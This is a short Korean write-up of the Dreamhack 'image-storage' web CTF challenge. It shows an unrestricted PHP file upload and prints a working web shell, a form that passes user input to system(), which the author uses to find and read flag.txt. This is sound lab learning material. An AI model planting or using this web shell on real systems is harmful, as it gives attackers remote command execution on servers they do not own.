Dreamhack/Web
[Dreamhack] image-storage
h34hg0
2023. 5. 12. 17:02
문제
풀이
upload 페이지는 파일을 업로드 할 수 있는 페이지임을 알 수 있다.
<?php
echo 'hello';
?>S
파일 형식을 .php 로 해서 위의 코드로 업로드를 했더니 .php 형식으로 업로드가 된 것을 확인할 수 있다.
또한 php파일의 코드가 작동되는 것을 알 수 있다.
따라서 이를 이용해서 공격을 할 수 있다.
<form>
system : <input type="text" name="cmd">
<button type="submit">send</button>
</form>
<?php
system($_GET[cmd]);
?>
위 코드는 입력 값을 그대로 system 함수의 인자로 실행할 수 있게 되어 있는 웹쉘 코드이다.
업로드 후, 확인해보면 작동하는 것을 알 수 있다.
flag가 저장되어 있는 파일이 flag.txt 인 것을 문제에서 알려주었으므로 find 를 통해 파일의 위치를 찾아봤다.
flag.txt 의 위치가 / 인 것을 알았으므로 파일의 내용을 확인해보면
flag가 나오는 것을 확인할 수 있다.